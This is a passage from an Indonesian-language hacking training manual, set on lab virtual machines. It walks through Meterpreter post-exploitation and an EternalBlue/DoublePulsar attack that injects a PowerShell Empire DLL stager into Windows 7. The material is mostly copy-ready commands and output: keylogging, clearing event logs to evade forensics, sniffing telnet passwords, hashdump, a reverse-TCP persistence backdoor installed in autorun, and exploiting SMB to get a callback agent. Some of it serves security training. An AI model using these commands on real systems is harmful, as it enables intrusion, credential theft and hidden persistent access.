  close                     Closes a channel
  disable_unicode_encoding  Disables encoding of unicode strings
  enable_unicode_encoding   Enables encoding of unicode strings
  exit                      Terminate the meterpreter session
  help                      Help menu
  info                      Displays information about a Post module
  interact                  Interacts with a channel
  irb                       Drop into irb scripting mode
  load                      Load one or more meterpreter extensions
  migrate                   Migrate the server to another process
  quit                      Terminate the meterpreter session
  read                      Reads data from a channel
```

help untuk informasi perintah di meterpreter

```
meterpreter > cd /
meterpreter > ls

Listing: C:\
============

Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
100666/rw-rw-rw-  16300032    fil   2003-03-27 01:36:59 +0000  $Persi0.sys
40777/rwxrwxrwx   0           dir   2003-01-11 00:39:35 +0000  ? Smad-Lock (Brankas Smadav) ?
40777/rwxrwxrwx   0           dir   2012-12-20 02:51:09 +0000  ATI
100777/rwxrwxrwx  0           fil   2012-09-21 09:48:37 +0000  AUTOEXEC.BAT
40777/rwxrwxrwx   0           dir   2012-09-22 22:35:29 +0000  CCProxy
100666/rw-rw-rw-  0           fil   2012-09-21 09:48:37 +0000  CONFIG.SYS
40777/rwxrwxrwx   0           dir   2003-02-12 09:38:36 +0000  DATT
```

25.8 Download dan upload menggunakan meterpreter

Dengan fungsi download dari meterpreter maka penyerang dapat mengambil file dari komputer target.

```
meterpreter > download -r c:/boot.ini /home
[*] downloading: c:/boot.ini -> /home/boot.ini
[*] downloaded : c:/boot.ini -> /home/boot.ini
```

Di atas untuk download file

```
root@kali: /home
File  Edit  View  Search  Terminal  Help
root@kali:~# cd /home
root@kali:/home# ls
boot.ini
root@kali:/home# nano keren
root@kali:/home#
```

Dengan fungsi upload dari meterpreter maka penyerang dapat mengirim file ke komputer target.

```
meterpreter > upload -r /home/keren
[*] uploading  : /home/keren -> /home/keren
[*] uploaded   : /home/keren -> /home/keren
```

Di atas untuk upload

25.9 Fungsi Route di meterpreter

Dengan menggunakan fungsi route maka kita dapat mengetahui subnet, netmask dan gateway pada komputer target.

```
meterpreter > route

IPv4 network routes
===================

    Subnet           Netmask          Gateway        Metric  Interface
    ------           -------          -------        ------  ---------
    0.0.0.0          0.0.0.0          192.168.1.1    20      2
    127.0.0.0        255.0.0.0        127.0.0.1      1       1
    192.168.1.0      255.255.255.0    192.168.1.107  20      2
    192.168.1.107    255.255.255.255  127.0.0.1      20      1
    192.168.1.255    255.255.255.255  192.168.1.107  20      2
    192.168.56.0     255.255.255.0    192.168.56.1   20      3
    192.168.56.1     255.255.255.255  127.0.0.1      20      1
    192.168.56.255   255.255.255.255  192.168.56.1   20      3
    224.0.0.0        240.0.0.0        192.168.1.107  20      2
    224.0.0.0        240.0.0.0        192.168.56.1   20      3
    255.255.255.255  255.255.255.255  192.168.1.107  1       2
    255.255.255.255  255.255.255.255  192.168.56.1   1       3

No IPv6 routes were found.
meterpreter >
```

25.10 Memasang keylogger di komputer target

Keylogger yang ada didalam meterpreter dirancang untuk mengijinkan penyerang untuk merekam semua masukan keyboard dari komputer target tanpa disimpan ke disk pada komputer target sehingga meminimalkan pihak computer forensic untuk melacaknya lebih jauh apa saja yang direkam oleh keylogger. Dengan menggunakan keylogger dari

meterpreter ini maka penyerang dimungkinkan untuk mengambil password, user accounts dan berbagai informasi penting dari komputer target.

```
meterpreter > ps

Process List
============

 PID   PPID  Name                Arch  Session     User
  Path
 ---   ----  ----                ----  -------     ----
  ----
 0     0     [System Process]          4294967295

 4     0     System              x86   0           NT AUTHORITY\SYSTEM

 180   1136  wscntfy.exe         x86   0           PC100\data
  C:\WINDOWS\system32\wscntfy.exe
 368   756   svchost.exe         x86   0           NT AUTHORITY\SYSTEM
  C:\WINDOWS\System32\svchost.exe
 548   756   AntDS.exe           x86   0           NT AUTHORITY\SYSTEM
  C:\Program Files\BigAntSoft\AntServer\AntDS.exe
 560   756   AntServer.exe       x86   0           NT AUTHORITY\SYSTEM
  C:\Program Files\BigAntSoft\AntServer\AntServer.exe
 568   4     smss.exe            x86   0           NT AUTHORITY\SYSTEM
```

Ps untuk mengetahui proses di komputer target

```
  C:\WINDOWS\system32\svchost.exe
 1580  1564  explorer.exe        x86   0           P
  C:\WINDOWS\Explorer.EXE
 1616  756   spoolsv.exe         x86   0           N
  C:\WINDOWS\system32\spoolsv.exe
 1760  1580  xiwin32.exe         x86   0           P
  C:\Xitami\xiwin32.exe
 2844  1580  firefox.exe         x86   0           P
  C:\PROGRA~1\MOZILL~1\FIREFOX.EXE
 3040  756   svchost.exe         x86   0           N
  C:\WINDOWS\system32\svchost.exe


meterpreter > migrate 1580
[*] Migrating from 1136 to 1580...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 1580
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
face <Down>  <Back> facebook.com <Return> testing
meterpreter >
```

Memasang keylogger di komputer target

25.11 Menghapus event

Event Viewer, a component of Microsoft's Windows NT line of operating systems, lets administrators and users view the event logs on a local or remote machine. In Windows Vista, Microsoft overhauled the event system.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Event_Viewer

Letak Event Viewer ada di Control panel lalu Administrative Tools

Klik Event Viewer

Di bawah ini adalah event-event pada Application

Di bawah ini adalah event-event pada System

Untuk menghapus log yang ada di event viewer cukup ketik clearev lalu enter

Hasil dari perintah clearev di meterpreter membuat event pada application hilang

Hasil dari perintah clearev di meterpreter membuat event pada System hilang

25.12 Menjalankan sniffer di komputer target dengan memanfaatkan meterpreter

Meterpreter has the capability of packet sniffing the remote host without ever touching the hard disk. This is especially useful if we want to monitor what type of information is being sent, and even better, this is probably the start of multiple auxiliary modules that will ultimately look for sensitive data within the capture files. The sniffer module can store up to 200,000 packets in a ring buffer and exports them in standard PCAP format so you can process them using psnuffle, dsniff, wireshark, etc.

Sumber : offensive-security.com - https://www.offensive-security.com/metasploit-unleashed/packet-sniffing/

Ketik use sniffer lalu enter
Untuk mengetahui interface yang ada di komputer target, ketik sniffer_interfaces lalu enter
Untuk memilih interface yang ingin digunakan ketik sniffer_start 1 jika memilih option 1, sniffer_start 2 jika memilih option 2, dan seterusnya.

```
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'AMD PCNET Family PCI Ethernet Adapter' ( type:0 mtu:1514 usable
alse wifi:false )
2 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dh
fi:false )
3 - 'AMD PCNET Family PCI Ethernet Adapter' ( type:4294967295 mtu:0 u
 dhcp:false wifi:false )

meterpreter > sniffer_start 1
[*] Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
        packets: 22
```

Setelah sniffer aktif, di sini komputer target melakukan koneksi telnet ke server dengan ip address 192.168.1.123.

Di sini untuk melihat hasil sniffing maka dilakukan dump dengan menggunakan fungsi sniffer_dump. Perintah yang digunakan seperti di bawah ini.

Dengan perintah sniffer_dump 1 /home/coba.cap maka jalankan wireshark lalu buka file coba.cap yang ada di /home seperti di bawah ini.

Pilih coba.cap karena hasil sniffing disimpan dengan nama file coba.cap.

Saat dibuka dapat dicoba melakukan filter dengan telnet, tapi jika disitu sudah ada protocol TELNET yang terlihat maka dapat langsung dilakukan Follow TCP Stream seperti di bawah ini.

Hasilnya di Follow TCP Stream muncul login yang digunakan dan password nya.

25.13 Menjalankan VNC Server di komputer target

Dengan menjalankan VNC dari meterpreter maka penyerang dapat melakukan remote dengan tampilan GUI.

Perintah yang digunakan untuk menjalankan VNC di meterpreter adalah ketik run vnc lalu enter.

25.14 Memasang backdoor dengan Run persistence

After going through all the hard work of exploiting a system, it's often a good idea to leave yourself an easier way back into the system later. This way, if the service you exploited is down or patched, you can still gain access to the system. Metasploit has a Meterpreter script, persistence.rb, that will create a Meterpreter service that will be available to you even if the remote system is rebooted.

One word of warning here before we go any further. The persistent Meterpreter as shown here requires no authentication. This means that anyone that gains access to the port could access your back door! This is not a good thing if you are conducting a penetration test, as this could be a significant risk. In a real world situation, be sure to exercise the utmost caution and be sure to clean up after yourself when the engagement is done.

Sumber : https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/

Deepfreeze disabled

```
msf exploit(warftpd_165_user) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.28:1000
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.1.35
[*] Meterpreter session 2 opened (192.168.1.28:1000 -> 192.168.1.35:1050) at 2016-11-25 22:49:33 -0500

meterpreter >
```

Eksploitasi

```
meterpreter > run persistence -U -i 5 -p 1000 -r 192.168.1.28
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf5/logs/persistence/WINXPDATA500_20161125.5924/WINXPDATA500_2
161125.5924.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.28 LPORT=1000
[*] Persistent agent script is 148472 bytes long
[+] Persistent Script written to C:\DOCUME~1\pc2\LOCALS~1\Temp\vDVfBYu.vbs
[*] Executing script C:\DOCUME~1\pc2\LOCALS~1\Temp\vDVfBYu.vbs
[+] Agent executed with PID 1144
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tBvHsjKghZzBEQ
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tBvHsjKghZzBEQ
meterpreter >
```

run persistence -U -i 5 -p 1000 -r 192.168.1.128

```
msf exploit(warftpd_165_user) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.28:1000
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.1.35
[*] Meterpreter session 2 opened (192.168.1.28:1000 -> 192.168.1.35:1050) at 2016-11-25 22:49:33 -0500

meterpreter >
```

Menjalankan exploit/mult/handler, masih dapat shell

Easy Chat Server
FreeSSHd
FTP Server
Immunity Debugger
C:\WINDOWS\System32\cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\pc2>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . : 192.168.1.35
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.1.1
C:\Documents and Settings\pc2>shutdown -r -t 0

Reboot

Microsoft
Windows xp
Windows is shutting down...

```
meterpreter >
[*] 192.168.1.35 - Meterpreter session 2 closed.  Reason: Died
Interrupt: use the 'exit' command to quit
meterpreter > exit
[*] Shutting down Meterpreter...
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.28:1000
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.1.35
[*] Meterpreter session 3 opened (192.168.1.28:1000 -> 192.168.1.35:1032) at 2016-11-25 22:53:32 -0500

meterpreter >
```

Saat target masuk windows, dapat akses shell otomatis lagi

```
C:\>netstat

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    winxpdata500:1026      28.1.168.192.in-addr.arpa:1000  ESTABLISHED
  TCP    winxpdata500:1027      28.1.168.192.in-addr.arpa:1000  ESTABLISHED
```

Di komputer korban saat dilakukan netastat

Pemeriksaan backdoor di startup

Matikan backdoor jika tidak ingin aktif startup masuk ke windows

25.15 Fungsi-fungsi lain di meterpreter

Meterpreter dapat melakukan screenshoot dengan 2 cara yaitu dengan perintah screenshoot lalu enter dan dengan perintah use espia enter lalu ketik screengrab lalu enter.

```
meterpreter > use espia
Loading extension espia...success.
meterpreter > screengrab
Screenshot saved to: /home/cXzRAQAB.jpeg
meterpreter >
```

Untuk mendapatkan hash dari password user windows dapat menggunakan perintah hashdump lalu enter.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
data:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:8d93c83d0b3d2b569c4b83f55613d504:07a367818675edd3eec6f4e5b09d
31e8:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c7f0c0bdb27cafad228926d63
7ad5f97:::
meterpreter >
```

Materi sisipan

Hacking SMB pada Windows 7

Untuk informasi lebih lengkap tentang celah ini klik https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Untuk hacking pada SMB Windows 7 ini, skenarionya dibutuhkan 2 virtual machine yang diberikan saat training.

1. Virtual Machine Kali linux (empire)
2. Virtual Machine Windows 7 (fb.py, EternalBlue, dll)

Di kali-linux

Ketik ./empire lalu enter

```
root@kalidata: /home/databr/Empire-master
File  Edit  View  Search  Terminal  Help
====
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdu
a0x3
==========================================================================
====

  _______ .___  ___. .______     ___   ._____       _______
 |   ____||   \/   | |   _  \   |  | |   _  \     |   ____|
 |  |__   |  \  /  | |  |_)  |  |  | |  |_)  |    |  |__
 |   __|  |  |\/|  | |   ___/   |  | |      /     |   __|
 |  |____ |  |  |  | |  |       |  | |  |\  \----.|  |____
 |_______||__|  |__| | _|       |__| | _| `._____||_______|

       180 modules currently loaded

       0 listeners currently active

       1 agents currently active

(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) >
```

listeners

```
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > options

Listener Options:

  Name             Required    Value                            Description
  ----             --------    -------                          -----------
  KillDate         False                                        Date for the listener to exit (MM/dd/yyyy).
  Name             True        test                             Listener name.
  DefaultLostLimit True        60                               Number of missed checkins before exiting
  StagingKey       True        276f8db0b86edaa7fc805516c852c889 Staging key for initial agent negotiation.
  Type             True        native                           Listener type (native, pivot, hop, foreign, me
er).
  RedirectTarget   False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay     True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours     False                                        Hours for the agent to operate (09:00-17:00).
  Host             True        http://192.168.1.29:8080         Hostname/IP for staging.
  CertPath         False                                        Certificate path for https listeners.
  DefaultJitter    True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile   True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                               process.jsp|Mozilla/5.0 (Windows
                               NT 6.1; WOW64; Trident/7.0;
                               rv:11.0) like Gecko
  Port             True        8080                             Port for the listener.

(Empire: listeners) >
```

Jika tidak ada yang aktif maka ketik options lalu enter

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.29  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fe56:f729  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:56:f7:29  txqueuelen 1000  (Ethernet)
        RX packets 1942  bytes 151302 (147.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 34  bytes 2465 (2.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 0  (Local Loopback)
        RX packets 20  bytes 1200 (1.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1200 (1.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@kalidata:/home/databr/Empire-master#

Host             True        http://192.168.1.29:8080        Hostname/IP for staging.
CertPath         False                                       Certificate path for https listeners.
DefaultJitter    True        0.0                             Jitter in agent reachback interval (0.
DefaultProfile   True        /admin/get.php,/news.asp,/login/ Default communication profile for the
                             process.jsp|Mozilla/5.0 (Windows
                             NT 6.1; WOW64; Trident/7.0;
                             rv:11.0) like Gecko
Port             True        8080                            Port for the listener.

(Empire: listeners) > set Name win7
(Empire: listeners) >
```

Ketik

Set DefaultJitter 0.5

Set DefaultDelay 10

execute

```
(Empire: listeners) > usestager dll
(Empire: stager/dll) > options

Name: DLL Launcher

Description:
  Generate a PowerPick Reflective DLL to inject with
  stager code.

Options:

  Name            Required    Value            Description
  ----            --------    -------          -----------
  Listener        True                         Listener to use.
  ProxyCreds      False       default          Proxy credentials
                                               ([domain\]username:password) to use for
                                               request (default, none, or other).
  Proxy           False       default          Proxy to use for request (default, none,
                                               or other).
  OutFile         True        /tmp/launcher.dll File to output dll to.
  UserAgent       False       default          User-agent string to use for the staging
                                               request (default, none, or other).
  Arch            True        x64              Architecture of the .dll to generate
                                               (x64 or x86).
  StagerRetries   False       0                Times for the stager to retry
                                               connecting.

(Empire: stager/dll) >
```

Ketik usestager dll

Ketik options lalu enter

Konfigurasi sesuaikan dengan target

```
(Empire: stager/dll) > set Listener win7
(Empire: stager/dll) > set Arch x86
(Empire: stager/dll) > set StagerRetries 10
(Empire: stager/dll) > execute

[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/dll) >
```

set Listener win7

set Arch x86

set StageRetries 10

execute

```
root@kalidata:/home/databr/Empire-master# cd /tmp
root@kalidata:/tmp# ls
launcher.dll
ssh-DCSm4x9gzpj9
systemd-private-d3fe1e765db24cfe85cb2bd185cfc3d9-colord.service-9sCGdz
systemd-private-d3fe1e765db24cfe85cb2bd185cfc3d9-rtkit-daemon.service-quVaZu
tracker-extract-files.0
root@kalidata:/tmp# cp launcher.dll /var/www/html
root@kalidata:/tmp# service apache2 restart
root@kalidata:/tmp#
```

cd /tmp

ls

cek apakah ada launcher.dll atau tidak, jika ada maka salin ke /var/www/html, caranya

cp launcher.dll /var/www/html

Jalankan apache server pada kali-linux

service apache2 restart

Di Windows 7

```
C:\Python26>python fb.py

--[ Version 3.5.1

[*] Loading Plugins
[*] Initializing Fuzzbunch v3.5.1
[*] Adding Global Variables
[+] Set ResourcesDir => D:\DSZOPSDISK\Resources
[+] Set Color => True
[+] Set ShowHiddenParameters => False
[+] Set NetworkTimeout => 60
[+] Set LogDir => D:\logs
[*] Autorun ON

ImplantConfig Autorun List
==========================

  0) prompt confirm
  1) execute


Exploit Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute


Special Autorun List
====================
```

cd\python26

python fb.py

```
C:\Windows\system32\cmd.exe - python fb.py
  1) prompt confirm
  2) execute


[+] Set FbStorage => C:\Python26\storage

[*] Retargetting Session

[?] Default Target IP Address [] : 192.168.1.58
[?] Default Callback IP Address [] : 192.168.1.233
[?] Use Redirection [yes] : no

[?] Base Log directory [D:\logs] :
[*] Checking D:\logs for projects
Index     Project
-----     -------
0         Create a New Project

[?] Project [0] : 0
[?] New Project Name : coba
[?] Set target log directory to 'D:\logs\coba\z192.168.1.58'? [Yes] :

[*] Initializing Global State
[+] Set TargetIp => 192.168.1.58
[+] Set CallbackIp => 192.168.1.233

[!] Redirection OFF
[+] Set LogDir => D:\logs\coba\z192.168.1.58
[+] Set Project => coba

fb > _
```

Masukkan seperti di atas untuk target ip address, lalu default callback ip address (ip vm windows 7).

Sisanya ikuti seperti di atas

```
[!] Redirection OFF
[+] Set LogDir => D:\logs\coba\z192.168.1.58
[+] Set Project => coba

fb > use Eternalblue

[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.58

[*] Applying Session Parameters
[*] Running Exploit Touches


[!] Enter Prompt Mode :: Eternalblue

Module: Eternalblue
===================

Name                    Value
----                    -----
NetworkTimeout          60
TargetIp                192.168.1.58
TargetPort              445
VerifyTarget            True
VerifyBackdoor          True
MaxExploitAttempts      3
GroomAllocations        12
Target                  WIN72K8R2

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 f
or no timeout.

[?] NetworkTimeout [60] :
```

use Eternalblue, sisanya ikuti seperti di atas, sesuaikan set TargetIp dengan ip target

```
[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.1.58] :

[*]  TargetPort :: Port used by the SMB service for exploit connection

[?] TargetPort [445] :

[*]  VerifyTarget :: Validate the SMB string from target against the target sele
cted before exploitation.

[?] VerifyTarget [True] :

[*]  VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor befor
e throwing. This option must be enabled for multiple exploit attempts.

[?] VerifyBackdoor [True] :

[*]  MaxExploitAttempts :: Number of times to attempt the exploit and groom. Dis
abled for XP/2K3.

[?] MaxExploitAttempts [3] :

[*]  GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup
allocations (XK/2K3) to do.

[?] GroomAllocations [12] :

[*]  Target :: Operating System, Service Pack, and Architecture of target OS

    0) XP            Windows XP 32-Bit All Service Packs
   *1) WIN72K8R2     Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs

[?] Target [1] : 1
```

Untuk target pada OS disesuaikan

```
[?] Target [1] : 1


[!] Preparing to Execute Eternalblue

[*]  Mode :: Delivery mechanism

   *0) DANE      Forward deployment via DARINGNEOPHYTE
    1) FB        Traditional deployment from within FUZZBUNCH

[?] Mode [0] : 1
[+] Run Mode: FB

[?] This will execute locally like traditional Fuzzbunch plugins. Are you sure?
(y/n) [Yes] : y
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.1.58] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.58:445

[+] Configure Plugin Remote Tunnels


Module: Eternalblue
===================

Name                    Value
----                    -----
DaveProxyPort           0
NetworkTimeout          60
TargetIp                192.168.1.58
TargetPort              445
VerifyTarget            True
VerifyBackdoor          True
MaxExploitAttempts      3
GroomAllocations        12
ShellcodeBuffer
Target                  WIN72K8R2

[?] Execute Plugin? [Yes] :
```

Pada Mode :: Delivery mechanism pilih 1, sisanya seperti di atas

```
[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (39 bytes):
0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
0x00000020  50 61 63 6b 20 31 00                             Pack 1.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        .............DONE.
    [+] Sending large SMBv1 buffer..DONE.
    [+] Sending final SMBv2 buffers......DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
    [+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
    [+] Backdoor returned code: 10 - Success!
    [+] Ping returned Target architecture: x86 (32-bit)
    [+] Backdoor installed
=-=-=-
```

```
Architecture        x86
Function            OutputInstall

[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1
for no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.1.58] :

[*]  TargetPort :: Port used by the Double Pulsar back door

[?] TargetPort [445] :

[*]  Protocol :: Protocol for the backdoor to speak

   *0) SMB      Ring 0 SMB (TCP 445) backdoor
    1) RDP      Ring 0 RDP (TCP 3389) backdoor

[?] Protocol [0] : 0

[*]  Architecture :: Architecture of the target OS

   *0) x86      x86 32-bits
    1) x64      x64 64-bits

[?] Architecture [0] : 0

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on d
isk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [0] :
```

Untuk protocol pilih SMB, untuk architecture disesuaikan dengan OS target, lainnya ikuti seperti di atas

```
C:\Windows\system32\cmd.exe - python fb.py

   *0) OutputInstall      Only output the install shellcode to a binary file on d
isk.
    1) Ping               Test for presence of backdoor
    2) RunDLL             Use an APC to inject a DLL into a user mode process.
    3) RunShellcode       Run raw shellcode
    4) Uninstall          Remove's backdoor from system

[?] Function [0] : 1
[+] Set Function => Ping


[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.1.58] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.58:445

[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================

Name                Value
----                -----
NetworkTimeout      60
TargetIp            192.168.1.58
TargetPort          445
Protocol            SMB
Architecture        x86
Function            Ping

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x15C02DE
```

Ikuti seperti di atas

```
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.1.58] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.58:445

[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================

Name                Value
----                -----
NetworkTimeout      60
TargetIp            192.168.1.58
TargetPort          445
Protocol            SMB
Architecture        x86
Function            Ping

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x15CA7DI
E
    SMB Connection string is: Windows 7 Ultimate 7601 Service Pack 1
    Target OS is: 7 x86
    Target SP is: 1
        [+] Backdoor installed
        [+] Command completed successfully
[+] Doublepulsar Succeeded

fb Payload (Doublepulsar) > set Function RunDLL
[+] Set Function => RunDLL
fb Payload (Doublepulsar) > set DllOrdinal 5
[+] Set DllOrdinal => 5
fb Payload (Doublepulsar) >
```

Ikuti seperti di atas

Download file launcher.dll yang sudah dibuat di kali linux ke Windows 7

Copy

Paste di drive D

sjp

```
C:\Windows\system32\cmd.exe - python fb.py
fb Payload (Doublepulsar) > set Function RunDLL
[+] Set Function => RunDLL
fb Payload (Doublepulsar) > set DllOrdinal 5
[+] Set DllOrdinal => 5
fb Payload (Doublepulsar) > set Dllpayload D:\launcher.dll
[+] Set Dllpayload => D:\launcher.dll
fb Payload (Doublepulsar) > execute

[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.1.58] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.58:445

[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================

Name                    Value
----                    -----
NetworkTimeout          60
TargetIp                192.168.1.58
TargetPort              445
DllPayload              D:\launcher.dll
DllOrdinal              5
ProcessName             lsass.exe
ProcessCommandLine
Protocol                SMB
Architecture            x86
Function                RunDLL

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
```

Ikuti seperti di atas, jika dipasang pada direktori lain maka Dllpayload disesuaikan

```
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x
E
    SMB Connection string is: Windows 7 Ultimate 7601 Service Pack 1
    Target OS is: 7 x86
    Target SP is: 1
        [+] Backdoor installed
        [+] DLL built
        [.] Sending shellcode to inject DLL
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Command completed successfully
[+] Doublepulsar Succeeded

fb Payload (Doublepulsar) > _
```

Exploit dijalankan

```
[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/dll) > [+] Initial agent CBKN23FSZXNZL4ZX from 192.168.1.58 now active
agents

[*] Active agents:

